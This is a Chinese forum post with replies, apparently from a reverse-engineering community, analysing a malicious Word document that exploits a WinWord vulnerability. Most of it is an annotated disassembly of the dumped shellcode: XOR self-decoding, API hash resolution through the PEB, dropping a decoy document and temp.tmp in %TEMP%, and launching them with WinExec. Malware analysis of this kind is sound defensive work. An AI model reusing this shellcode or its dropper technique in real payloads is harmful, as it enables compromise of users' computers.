Word病毒样本分析
//Author: willJ//Date: 2013年9月2日
文件:C:\Documents and Settings\Administrator\桌面\6845288e2be0be1adbc3a3d4c6aaaa63_445b000a.doc大小: 499744 字节修改时间: 2013年6月11日, 8:36:24MD5: 6845288E2BE0BE1ADBC3A3D4C6AAAA63SHA1:83C0D54DCC948F0C91907DB8FA69CE776CBDD6B2CRC32: 8C9830DE
此样本为利用word漏洞进行恶意传播的木马。样本执行流程如下图:样本精心构造了畸形DOC文件,导致一处WinWord.exe的返回地址被修改,最终程序执行流程被控制。一片无效代码,目的是为了更好的命中在shellcode上面。00000 90 nop
seg000:00000001 90 nop
seg000:00000002 ; START OF FUNCTION CHUNK FOR W_DeCode_0
..........
seg000:00000018 43 inc ebx
seg000:00000019 4B dec ebx
..........
seg000:00000042 42 inc edx
seg000:00000043 4A dec edx
我将Shellcode给Dump了出来放在IDA里看的,注释也比较详细吧,直接复制了。
00044 EB 06 jmp short W_Start
seg000:00000044 ; END OF FUNCTION CHUNK FOR W_DeCode_0
seg000:00000044 ; ---------------------------------------------------------------------------
seg000:00000046 EB db 0EBh ;
seg000:00000047 04 db 4
seg000:00000048 0B db0Bh
seg000:00000049 0B db0Bh
seg000:0000004A 28 db28h ; (
seg000:0000004B 00 db 0
seg000:0000004C ; ---------------------------------------------------------------------------
seg000:0000004C ; START OF FUNCTION CHUNK FOR W_DeCode_0
seg000:0000004C
seg000:0000004C W_Start: ; CODE XREF: W_DeCode_0-Aj
seg000:0000004C EB 14 jmp short W_DeCode
seg000:0000004C ; END OF FUNCTION CHUNK FOR W_DeCode_0
seg000:0000004E
seg000:0000004E ; =============== S U B R O U T I N E =======================================
seg000:0000004E
seg000:0000004E
seg000:0000004E W_DeCode_0 proc near ; CODE XREF: W_DeCode_0:W_DeCodep
seg000:0000004E
seg000:0000004E ; FUNCTION CHUNK AT seg000:00000002 SIZE 00000044 BYTES
seg000:0000004E ; FUNCTION CHUNK AT seg000:0000004C SIZE 00000002 BYTES
seg000:0000004E
seg000:0000004E 58 pop eax ; 自定位,指向W_FinishDecode
seg000:0000004F B2 98 mov dl, 98h ; ' ; 解密的Key值
seg000:00000051
seg000:00000051 W_LoopDecode: ; CODE XREF: W_DeCode_0+10j
seg000:00000051 8A 18 mov bl, ; 将需要解密的数据按字节存放在bl
seg000:00000053 32 DA xor bl, dl ; 执行解密,解密算法为简单xor
seg000:00000055 88 18 mov , bl ; 解密后的数据存回去
seg000:00000057 40 inc eax ; 自增加
seg000:00000058 81 38 DA DA DA DA cmp dword ptr , 0DADADADAh ; 判断是否解密结束,结束标志位为"0xDADADADA"
seg000:0000005E 75 F1 jnz short W_LoopDecode
seg000:00000060 EB 05 jmp short W_FinishDeCode
seg000:00000062 ; ---------------------------------------------------------------------------
seg000:00000062
seg000:00000062 W_DeCode: ; CODE XREF: W_DeCode_0:W_Startj
seg000:00000062 E8 E7 FF FF FF call W_DeCode_0
seg000:00000067
seg000:00000067 W_FinishDeCode: ; CODE XREF: W_DeCode_0+12j
seg000:00000067 FC cld
seg000:00000068 68 D8 77 33 EF push 0EF3377D8h
seg000:0000006D 68 32 74 91 0C push 0C917432h
seg000:00000072 68 8F F2 18 61 push 6118F28Fh
seg000:00000077 68 BB E6 2F 3A push 3A2FE6BBh
seg000:0000007C 68 C2 19 4B 01 push 14B19C2h
seg000:00000081 68 7D F0 A5 9A push 9AA5F07Dh
seg000:00000086 68 50 D5 9B CB push 0CB9BD550h
seg000:0000008B 68 51 2F A2 01 push 1A22F51h
seg000:00000090 68 39 E2 7D 83 push 837DE239h
seg000:00000090 W_DeCode_0 endp ; sp-analysis failed
seg000:00000090
seg000:00000095 68 5A D4 24 94 push 9424D45Ah
seg000:0000009A 68 B2 96 57 5B push 5B5796B2h
seg000:0000009F
seg000:0000009F loc_9F:
seg000:0000009F 68 E3 97 67 81 push 816797E3h
seg000:000000A4 68 57 66 0D FF push 0FF0D6657h
seg000:000000A9 68 9B 87 8B E5 push 0E58B879Bh
seg000:000000AE 68 B2 36 0F 13 push 130F36B2h
seg000:000000B3 68 43 BE AC DB push 0DBACBE43h
seg000:000000B8 68 8E 13 0A AC push 0AC0A138Eh ; 以上为需要寻找的函数Hash
seg000:000000BD 8B F4 mov esi, esp ; 将栈顶给esi
seg000:000000BF 83 EC 64 sub esp, 64h ; 申请栈空间使用
seg000:000000C2 8B FC mov edi, esp ; 将新的栈顶赋值给edi
seg000:000000C4 6A 6C push 6Ch ; 'l'
seg000:000000C6 68 6E 74 64 6C push 'ldtn'
seg000:000000CB 54 push esp
seg000:000000CC 33 D2 xor edx, edx
seg000:000000CE 33 D2 xor edx, edx
seg000:000000D0 64 8B 5A 30 mov ebx, fs: ; ebx = &(PEB)
seg000:000000D4 8B 4B 0C mov ecx, ; ecx = PEB->Ldr
seg000:000000D7 8B 49 1C mov ecx, ; ecx = PEB->Ldr.InInitOrder
seg000:000000DA
seg000:000000DA W_LoopFindKernelBase: ; CODE XREF: seg000:000000E5j
seg000:000000DA 8B 69 08 mov ebp, ; ebp = InInitOrder.base_address
seg000:000000DD 8B 41 20 mov eax, ; eax = InInitOrder.Module_Name
seg000:000000E0 8B 09 mov ecx, ; ecx = InInitOrder.flink(下一个模块)
seg000:000000E2 38 50 18 cmp , dl ; 比较Modulename是不是为0
seg000:000000E5 75 F3 jnz short W_LoopFindKernelBase ; 以上代码是为了查找Kernel32的基址,保存在ebp中
seg000:000000E7
seg000:000000E7 W_LoopGetApi: ; CODE XREF: seg000:0000013Dj
seg000:000000E7 AD lodsd ; 将Kernel32的名字保存在esi中
seg000:000000E8 3D D8 77 33 EF cmp eax, 0EF3377D8h ; 与需要的函数hash比较,此为最后一个压栈需要的函数hash
seg000:000000ED 75 05 jnz short loc_F4
seg000:000000EF 95 xchg eax, ebp
seg000:000000F0 FF 57 FC call dword ptr ; LoadLibrary("ntdll")
seg000:000000F3 95 xchg eax, ebp
seg000:000000F4
seg000:000000F4 loc_F4: ; CODE XREF: seg000:000000EDj
seg000:000000F4 60 pusha
seg000:000000F5 8B 45 3C mov eax, ; 获取PE头偏移
seg000:000000F8 8B 4C 05 78 mov ecx, ; 得到导出表RVA
seg000:000000FC 03 CD add ecx, ebp ; 导出表RVA加上基地址得到导出表VA
seg000:000000FE 8B 59 20 mov ebx, ; 得到导出表的ENT也就是AddressOfNames的RVA
seg000:00000101 03 DD add ebx, ebp ; 得到导出表AddressOfNames的VA
seg000:00000103 8B 79 18 mov edi, ; 得到导出表函数名个数NumberofNames
seg000:00000106
seg000:00000106 W_GetNextHash: ; CODE XREF: seg000:00000120j
seg000:00000106 4F dec edi
seg000:00000107 8B 34 BB mov esi, ; 得到函数名指针的RVA
seg000:0000010A 03 F5 add esi, ebp ; 加上基地址得到函数名指针的VA
seg000:0000010C 99 cdq ; 将edx的每一位置为eax的最高位
seg000:0000010D
seg000:0000010D W_GetFunctionHash: ; CODE XREF: seg000:0000011Aj
seg000:0000010D 0F BE 06 movsx eax, byte ptr ; 按字节将函数名存放在eax
seg000:00000110 3A C4 cmp al, ah ; 此时eax为0,判断字符窜是否结束
seg000:00000112 74 08 jz short W_StrEnd; 字符串结束跳走
seg000:00000114 C1 CA 07 ror edx, 7 ; Hash算法为循环右移7位
seg000:00000117 03 D0 add edx, eax ; 加上字符
seg000:00000119 46 inc esi ; 字符串指针指向下一个字符
seg000:0000011A EB F1 jmp short W_GetFunctionHash ; 这里是计算函数名Hash
seg000:0000011C ; ---------------------------------------------------------------------------
seg000:0000011C
seg000:0000011C W_StrEnd: ; CODE XREF: seg000:00000112j
seg000:0000011C 3B 54 24 1C cmp edx, ; 与前面压栈进去的函数hash比较
seg000:00000120 75 E4 jnz short W_GetNextHash
seg000:00000122 8B 59 24 mov ebx, ; 得到导出表的AddressOfNameOrdinals的RVA
seg000:00000125 03 DD add ebx, ebp ; 得到导出表的AddressOfNameOrdinals的VA
seg000:00000127 66 8B 3C 7B mov di, ; 得到函数位置是第几个
seg000:0000012B 8B 59 1C mov ebx, ; 得到AddressOfFunctiond的rva
seg000:0000012E 03 DD add ebx, ebp ; 得到AddressOfFunctiond的va
seg000:00000130 03 2C BB add ebp, ; 根据偏移第几个函数找到真正需要函数的VA
seg000:00000133 95 xchg eax, ebp ; 将地址保存在eax
seg000:00000134 5F pop edi
seg000:00000135 AB stosd ; 保存在edi中
seg000:00000136 57 push edi
seg000:00000137 61 popa
seg000:00000138 3D D8 77 33 EF cmp eax, 0EF3377D8h ; 与需要的函数hash比较,此为最后一个压栈需要的函数hash
seg000:0000013D 75 A8 jnz short W_LoopGetApi ; 同样的方式再次根据Hash找所需要的函数seg000:0000013F 8B EC mov ebp, esp
seg000:00000141 83 EC 78 sub esp, 78h
seg000:00000144 89 7D FC mov , edi
seg000:00000147 6A 04 push 4
seg000:00000149
seg000:00000149 loc_149: ; CODE XREF: seg000:0000015Bj
seg000:00000149 5E pop esi
seg000:0000014A 54 push esp
seg000:0000014B 56 push esi
seg000:0000014C FF 57 BC call dword ptr ; GetFileSize
seg000:0000014F 89 45 D0 mov , eax
seg000:00000152 83 F8 FF cmp eax, 0FFFFFFFFh
seg000:00000155 75 06 jnz short loc_15D
seg000:00000157
seg000:00000157 loc_157: ; CODE XREF: seg000:00000162j
seg000:00000157 ; seg000:00000183j ...
seg000:00000157 83 C6 04 add esi, 4
seg000:0000015A 56 push esi
seg000:0000015B EB EC jmp short loc_149
seg000:0000015D ; ---------------------------------------------------------------------------
seg000:0000015D
seg000:0000015D loc_15D: ; CODE XREF: seg000:00000155j
seg000:0000015D 3D 00 20 00 00 cmp eax, 2000h
seg000:00000162 76 F3 jbe short loc_157
seg000:00000164 6A 00 push 0
seg000:00000166 6A 00 push 0
seg000:00000168 68 00 80 00 00 push 8000h
seg000:0000016D 56 push esi
seg000:0000016E FF 57 C0 call dword ptr ; SetFilePointer
seg000:00000171 8D 45 E4 lea eax,
seg000:00000174 6A 00 push 0
seg000:00000176 50 push eax
seg000:00000177 6A 14 push 14h
seg000:00000179 8D 45 E8 lea eax,
seg000:0000017C 50 push eax
seg000:0000017D 56 push esi
seg000:0000017E FF 57 C4 call dword ptr ; ReadFile
seg000:00000181 85 C0 test eax, eax
seg000:00000183 74 D2 jz short loc_157
seg000:00000185 81 7D E8 70 6F 69 75 cmp dword ptr , 'uiop'
seg000:0000018C 75 C9 jnz short loc_157
seg000:0000018E 81 7D EC 3D 6F 57 8E cmp dword ptr , '嶹o='
seg000:00000195 75 C0 jnz short loc_157 ; 不断的读取,比较是不是自己需要的东西
seg000:00000197 89 75 E8 mov , esi
seg000:0000019A 8B 45 F8 mov eax,
seg000:0000019D 03 45 F4 add eax,
seg000:000001A0 03 45 F0 add eax,
seg000:000001A3 89 45 EC mov , eax
seg000:000001A6 50 push eax
seg000:000001A7 6A 40 push 40h ; '@'
seg000:000001A9 FF 57 D8 call dword ptr ; GlobalAlloc
seg000:000001AC 89 45 E4 mov , eax
seg000:000001AF 85 C0 test eax, eax
seg000:000001B1 0F 84 C5 01 00 00 jz near ptr loc_37A+2
seg000:000001B7 8D 45 E0 lea eax,
seg000:000001BA 6A 00 push 0
seg000:000001BC 50 push eax
seg000:000001BD FF 75 EC push dword ptr
seg000:000001C0 FF 75 E4 push dword ptr
seg000:000001C3 56 push esi
seg000:000001C4 FF 57 C4 call dword ptr ; ReadFile
seg000:000001C7 85 C0 test eax, eax
seg000:000001C9 0F 84 AD 01 00 00 jz near ptr loc_37A+2
seg000:000001CF 6A 00 push 0
seg000:000001D1 6A 00 push 0
seg000:000001D3 6A 00 push 0
seg000:000001D5 6A 04 push 4
seg000:000001D7 6A 00 push 0
seg000:000001D9 FF 75 E8 push dword ptr
seg000:000001DC FF 57 EC call dword ptr ; CreateFileMappingA
seg000:000001DF 89 45 DC mov , eax
seg000:000001E2 83 F8 00 cmp eax, 0
seg000:000001E5 74 51 jz short loc_238
seg000:000001E7 6A 00 push 0
seg000:000001E9 6A 00 push 0
seg000:000001EB 6A 00 push 0
seg000:000001ED 6A 06 push 6
seg000:000001EF FF 75 DC push dword ptr
seg000:000001F2 FF 57 E8 call dword ptr ; MapViewOfFile
seg000:000001F5 89 45 C8 mov , eax
seg000:000001F8 83 F8 00 cmp eax, 0
seg000:000001FB 74 3B jz short loc_238
seg000:000001FD 81 EC 04 04 00 00 sub esp, 404h
seg000:00000203 8D 44 24 04 lea eax,
seg000:00000207 54 push esp
seg000:00000208 68 00 02 00 00 push 200h
seg000:0000020D 50 push eax
seg000:0000020E 6A 02 push 2
seg000:00000210 FF 75 C8 push dword ptr
seg000:00000213 6A FF push 0FFFFFFFFh
seg000:00000215 FF 57 FC call dword ptr ; ZwQueryVirtualMemory,枚举进程模块获取文件名
seg000:00000218 83 F8 00 cmp eax, 0
seg000:0000021B 75 1B jnz short loc_238
seg000:0000021D 33 C0 xor eax, eax
seg000:0000021F 8D 7C 24 04 lea edi,
seg000:00000223 F2 66 AF repne scasw
seg000:00000226 8B DF mov ebx, edi
seg000:00000228 8B 7D FC mov edi,
seg000:0000022B
seg000:0000022B loc_22B: ; CODE XREF: seg000:00000231j
seg000:0000022B 4B dec ebx
seg000:0000022C 4B dec ebx
seg000:0000022D 66 83 3B 5C cmp word ptr , 5Ch ; '\'
seg000:00000231 75 F8 jnz short loc_22B
seg000:00000233 43 inc ebx
seg000:00000234 43 inc ebx
seg000:00000235 89 5D C4 mov , ebx
seg000:00000238
seg000:00000238 loc_238: ; CODE XREF: seg000:000001E5j
seg000:00000238 ; seg000:000001FBj ...
seg000:00000238 8B 5D E4 mov ebx,
seg000:0000023B 8B 4D EC mov ecx,
seg000:0000023E
seg000:0000023E loc_23E: ; CODE XREF: seg000:00000242j
seg000:0000023E 30 4C 0B FF xor , cl
seg000:00000242 E2 FA loop loc_23E
seg000:00000244 B9 00 10 00 00 mov ecx, 1000h
seg000:00000249 8D 53 01 lea edx,
seg000:0000024C
seg000:0000024C loc_24C: ; CODE XREF: seg000:0000025Cj
seg000:0000024C 8A 44 4B FE mov al,
seg000:00000250 8A 64 4B FF mov ah,
seg000:00000254 88 44 4B FF mov , al
seg000:00000258 88 64 4B FE mov , ah ; 获得temp.tmp文件名
seg000:0000025C E2 EE loop loc_24C
seg000:0000025E 03 5D F0 add ebx,
seg000:00000261 89 5D E0 mov , ebx
seg000:00000264 03 5D F4 add ebx,
seg000:00000267 89 5D DC mov , ebx
seg000:0000026A 81 EC 04 01 00 00 sub esp, 104h
seg000:00000270 C7 04 24 63 6D 64 2E mov dword ptr , '.dmc'
seg000:00000277 C7 44 24 04 65 78 65 20 mov dword ptr , ' exe'
seg000:0000027F C7 44 24 08 2F 63 20 73 mov dword ptr , 's c/'
seg000:00000287 C7 44 24 0C 74 61 72 74 mov dword ptr , 'trat'
seg000:0000028F C7 44 24 10 20 57 49 4E mov dword ptr , 'NIW '
seg000:00000297 C7 44 24 14 57 4F 52 44 mov dword ptr , 'DROW'
seg000:0000029F C7 44 24 18 2E 45 58 45 mov dword ptr , 'EXE.'
seg000:000002A7 C7 44 24 1C 20 2F 71 20 mov dword ptr , ' q/ '
seg000:000002AF C7 44 24 20 22 00 00 00 mov dword ptr , 22h ; '"' ; 压栈需要调用的字符命名
seg000:000002B7 89 65 C0 mov , esp
seg000:000002BA 8D 44 24 21 lea eax,
seg000:000002BE 89 45 D8 mov , eax
seg000:000002C1 FF 75 D8 push dword ptr
seg000:000002C4 68 04 01 00 00 push 104h
seg000:000002C9 FF 57 DC call dword ptr ; GetTempPath
seg000:000002CC 85 C0 test eax, eax
seg000:000002CE 0F 84 A8 00 00 00 jz near ptr loc_37A+2
seg000:000002D4 03 45 D8 add eax,
seg000:000002D7 89 45 CC mov , eax
seg000:000002DA 6A 00 push 0
seg000:000002DC 6A 00 push 0
seg000:000002DE 68 04 01 00 00 push 104h
seg000:000002E3 FF 75 CC push dword ptr
seg000:000002E6 6A FF push 0FFFFFFFFh
seg000:000002E8 FF 75 C4 push dword ptr
seg000:000002EB 6A 00 push 0
seg000:000002ED 6A 00 push 0
seg000:000002EF FF 57 E4 call dword ptr ; WideCharToMultiByte 转换自身的名字为多字符集
seg000:000002F2 89 45 C4 mov , eax
seg000:000002F5 83 F8 00 cmp eax, 0
seg000:000002F8 74 44 jz short loc_33E
seg000:000002FA 6A 00 push 0
seg000:000002FC FF 75 D8 push dword ptr
seg000:000002FF FF 57 D4 call dword ptr ; _lCreate在%TEMP%目录创建一个真的DOC
seg000:00000302 89 45 E8 mov , eax
seg000:00000305 83 F8 FF cmp eax, 0FFFFFFFFh
seg000:00000308 74 34 jz short loc_33E
seg000:0000030A FF 75 F8 push dword ptr
seg000:0000030D FF 75 DC push dword ptr
seg000:00000310 FF 75 E8 push dword ptr
seg000:00000313 FF 57 D0 call dword ptr ; lWrite写入数据
seg000:00000316 FF 75 E8 push dword ptr
seg000:00000319 FF 57 CC call dword ptr ; CloseHandle
seg000:0000031C 8B 5D C4 mov ebx,
seg000:0000031F 03 5D CC add ebx,
seg000:00000322 4B dec ebx
seg000:00000323 66 C7 03 22 00 mov word ptr , 22h ; '"'
seg000:00000328 6A 00 push 0
seg000:0000032A FF 75 C0 push dword ptr
seg000:0000032D FF 57 E0 call dword ptr ; WinExec
seg000:0000032D ; cmd.exe /c start WINWORD.EXE /q "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\6845288E2BE0BE1ADBC3A3D4C6AAAA63.doc"
seg000:00000330 8B 7D CC mov edi,
seg000:00000333 8B 75 E4 mov esi,
seg000:00000336 8B 4D F0 mov ecx,
seg000:00000339 F3 A4 rep movsb
seg000:0000033B 8B 7D FC mov edi,
seg000:0000033E
seg000:0000033E loc_33E: ; CODE XREF: seg000:000002F8j
seg000:0000033E ; seg000:00000308j
seg000:0000033E 6A 02 push 2
seg000:00000340 FF 75 D8 push dword ptr
seg000:00000343 FF 57 D4 call dword ptr ; lCreate,在%TEMP%目录创建Temp.tmp的文件
seg000:00000346 89 45 D4 mov , eax
seg000:00000349 83 F8 FF cmp eax, 0FFFFFFFFh
seg000:0000034C 0F 84 81 00 00 00 jz near ptr 3D3h
seg000:00000352 FF 75 F4 push dword ptr
seg000:00000355 FF 75 E0 push dword ptr
seg000:00000358 50 push eax
seg000:00000359 FF 57 D0 call dword ptr ; lWrite写入数据
seg000:0000035C FF 75 D4 push dword ptr
seg000:0000035F FF 57 CC call dword ptr ; CloseHandle
seg000:00000362 6A 00 push 0
seg000:00000364 FF 75 D8 push dword ptr
seg000:00000367 FF 57 E0 call dword ptr ; WinExec执行恶意文件
seg000:00000367 ; C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\temp.tmp
seg000:0000036A 83 F8 1F cmp eax, 1Fh
seg000:0000036D 76 64 jbe short near ptr 3D3h
seg000:0000036F 8B 7D C8 mov edi,
seg000:00000372 8B 75 DC mov esi,
seg000:00000375 8B 4D F8 mov ecx,
seg000:00000378 F3 A4 rep movsb
seg000:0000037A
seg000:0000037A loc_37A: ; CODE XREF: seg000:000001B1j
seg000:0000037A ; seg000:000001C9j ...
seg000:0000037A 8B 7D FC mov edi,
seg000:0000037D FF 57 F0 call dword ptr ; GetCurrentProcess
seg000:00000380 6A 00 push 0
seg000:00000382 50 push eax
seg000:00000383 FF 57 F4 call dword ptr ; TerminateProcess
seg000:00000386 DA DA fcmovust, st(2)
seg000:00000388 DA DA fcmovust, st(2)
seg000:00000388 seg000 ends关于释放的恶意文件后期在分析吧,这个样本的详细行为分析可以参考@kangkai 同学的分析报告http://www.52pojie.cn/thread-213735-1-1.html。shellcode IDB一份,密码52pojie
小白一个这都是些神马啊 有一些地方还是看不懂......但是看久了头晕..... 不明觉厉 看不懂 分析都是用的OD吗?? 能不能给一个病毒样本? 有没有巧妙构造的视频格式病毒,来利用播放器漏洞执行的病毒分析? sunflover 发表于 2013-9-21 10:13 static/image/common/back.gif
有没有巧妙构造的视频格式病毒,来利用播放器漏洞执行的病毒分析?
http://www.52pojie.cn/thread-147315-1-1.html
这个可以么?
又见J大作品。膜拜